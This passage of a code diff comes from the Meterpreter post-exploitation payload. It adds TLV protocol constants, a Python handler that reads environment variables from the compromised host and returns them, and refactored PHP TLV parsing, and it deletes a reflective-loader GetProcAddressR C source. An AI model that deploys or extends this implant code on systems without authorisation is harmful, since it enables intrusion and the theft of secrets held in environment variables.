TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||||
|
|
||||||
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
||||||
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
||||||
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
||||||
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
||||||
|
|
||||||
##
|
##
|
||||||
# Net
|
# Net
|
||||||
##
|
##
|
||||||
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||||
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||||
|
|
||||||
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||||
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||||
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||||
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||||
|
|
||||||
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||||
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||||
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||||
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||||
|
|
||||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||||
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
||||||
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
|
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
|
||||||
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
|
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
|
||||||
|
|
||||||
|
##
|
||||||
# Socket
|
# Socket
|
||||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
##
|
||||||
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||||
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||||
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||||
|
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
||||||
|
|
||||||
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
||||||
|
|
||||||
|
##
|
||||||
# Registry
|
# Registry
|
||||||
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
##
|
||||||
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
||||||
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
||||||
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
||||||
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
||||||
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
||||||
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
||||||
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
||||||
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
||||||
|
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
||||||
|
|
||||||
|
##
|
||||||
# Config
|
# Config
|
||||||
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
##
|
||||||
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
||||||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
||||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||||
|
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||||
|
|
||||||
|
##
|
||||||
|
# Environment
|
||||||
|
##
|
||||||
|
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
|
||||||
|
TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101
|
||||||
|
TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102
|
||||||
|
|
||||||
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
||||||
|
|
||||||
|
##
|
||||||
# Process
|
# Process
|
||||||
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
##
|
||||||
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
||||||
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
||||||
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
||||||
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
||||||
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
||||||
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
||||||
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
||||||
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
||||||
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
||||||
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
||||||
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
||||||
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
||||||
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
||||||
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
||||||
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
||||||
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
||||||
|
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
||||||
|
|
||||||
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
||||||
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||||
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
||||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
||||||
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
||||||
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
||||||
|
|
||||||
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
||||||
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
||||||
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
||||||
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
||||||
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
||||||
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
||||||
|
|
||||||
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
||||||
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
||||||
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
||||||
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
||||||
|
|
||||||
##
|
##
|
||||||
# Ui
|
# Ui
|
||||||
##
|
##
|
||||||
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
||||||
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
||||||
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
||||||
|
|
||||||
##
|
##
|
||||||
# Event Log
|
# Event Log
|
||||||
##
|
##
|
||||||
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
||||||
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
||||||
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
||||||
|
|
||||||
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
||||||
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
||||||
|
|
||||||
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
||||||
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
||||||
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
||||||
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
||||||
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
||||||
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
||||||
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
||||||
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
||||||
|
|
||||||
##
|
##
|
||||||
# Power
|
# Power
|
||||||
##
|
##
|
||||||
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
||||||
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
||||||
|
|
||||||
##
|
##
|
||||||
# Sys
|
# Sys
|
||||||
|
|
@ -367,6 +382,18 @@ def stdapi_sys_config_getuid(request, response):
|
||||||
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
|
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_config_getenv(request, response):
|
||||||
|
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
||||||
|
pgroup = ''
|
||||||
|
env_var = env_var['value'].translate(None, '%$')
|
||||||
|
env_val = os.environ.get(env_var)
|
||||||
|
if env_val:
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
|
||||||
|
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_sys_config_sysinfo(request, response):
|
def stdapi_sys_config_sysinfo(request, response):
|
||||||
uname_info = platform.uname()
|
uname_info = platform.uname()
|
||||||
|
|
|
||||||
Binary file not shown.
Binary file not shown.
|
|
@ -680,6 +680,30 @@ function tlv_pack($tlv) {
|
||||||
return $ret;
|
return $ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function tlv_unpack($raw_tlv) {
|
||||||
|
$tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8));
|
||||||
|
$type = $tlv['type'];
|
||||||
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
|
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||||
|
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
}
|
||||||
|
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||||
|
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
}
|
||||||
|
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
||||||
|
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
}
|
||||||
|
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
||||||
|
$tlv = unpack("Nlen/Ntype", $raw_tlv);
|
||||||
|
$tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
my_print("Wtf type is this? $type");
|
||||||
|
$tlv = null;
|
||||||
|
}
|
||||||
|
return $tlv;
|
||||||
|
}
|
||||||
|
|
||||||
function packet_add_tlv(&$pkt, $tlv) {
|
function packet_add_tlv(&$pkt, $tlv) {
|
||||||
$pkt .= tlv_pack($tlv);
|
$pkt .= tlv_pack($tlv);
|
||||||
}
|
}
|
||||||
|
|
@ -689,27 +713,10 @@ function packet_get_tlv($pkt, $type) {
|
||||||
# Start at offset 8 to skip past the packet header
|
# Start at offset 8 to skip past the packet header
|
||||||
$offset = 8;
|
$offset = 8;
|
||||||
while ($offset < strlen($pkt)) {
|
while ($offset < strlen($pkt)) {
|
||||||
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
||||||
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
||||||
#my_print("Found one at offset $offset");
|
#my_print("Found one at offset $offset");
|
||||||
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
||||||
$tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len']));
|
|
||||||
}
|
|
||||||
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
||||||
$tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len']));
|
|
||||||
}
|
|
||||||
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
||||||
$tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len']));
|
|
||||||
}
|
|
||||||
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
||||||
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
|
|
||||||
$tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
my_print("Wtf type is this? $type");
|
|
||||||
$tlv = null;
|
|
||||||
}
|
|
||||||
return $tlv;
|
return $tlv;
|
||||||
}
|
}
|
||||||
$offset += $tlv['len'];
|
$offset += $tlv['len'];
|
||||||
|
|
@ -719,6 +726,27 @@ function packet_get_tlv($pkt, $type) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function packet_get_all_tlvs($pkt, $type) {
|
||||||
|
my_print("Looking for all tlvs of type $type");
|
||||||
|
# Start at offset 8 to skip past the packet header
|
||||||
|
$offset = 8;
|
||||||
|
$all = array();
|
||||||
|
while ($offset < strlen($pkt)) {
|
||||||
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
||||||
|
if ($tlv == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
|
if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
||||||
|
my_print("Found one at offset $offset");
|
||||||
|
array_push($all, $tlv);
|
||||||
|
}
|
||||||
|
$offset += $tlv['len'];
|
||||||
|
}
|
||||||
|
return $all;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# Functions for genericizing the stream/socket conundrum
|
# Functions for genericizing the stream/socket conundrum
|
||||||
##
|
##
|
||||||
|
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1 @@
|
||||||
|
Subproject commit 88e8e5f109793f09b35cb17a621f33647d644103
|
||||||
Binary file not shown.
|
|
@ -1,116 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "GetProcAddressR.h"
|
|
||||||
//===============================================================================================//
|
|
||||||
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
|
||||||
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
|
||||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
|
||||||
{
|
|
||||||
UINT_PTR uiLibraryAddress = 0;
|
|
||||||
FARPROC fpResult = NULL;
|
|
||||||
|
|
||||||
if( hModule == NULL )
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
// a module handle is really its base address
|
|
||||||
uiLibraryAddress = (UINT_PTR)hModule;
|
|
||||||
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
UINT_PTR uiAddressArray = 0;
|
|
||||||
UINT_PTR uiNameArray = 0;
|
|
||||||
UINT_PTR uiNameOrdinals = 0;
|
|
||||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
|
||||||
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
|
||||||
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
|
||||||
|
|
||||||
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
|
||||||
|
|
||||||
// test if we are importing by name or by ordinal...
|
|
||||||
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
|
||||||
{
|
|
||||||
// import by ordinal...
|
|
||||||
|
|
||||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
|
||||||
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// resolve the address for this imported function
|
|
||||||
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// import by name...
|
|
||||||
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
|
||||||
while( dwCounter-- )
|
|
||||||
{
|
|
||||||
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
|
||||||
|
|
||||||
// test if we have a match...
|
|
||||||
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
|
||||||
{
|
|
||||||
// use the functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// calculate the virtual address for the function
|
|
||||||
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
|
||||||
|
|
||||||
// finish...
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
|
||||||
{
|
|
||||||
fpResult = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
return fpResult;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,36 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
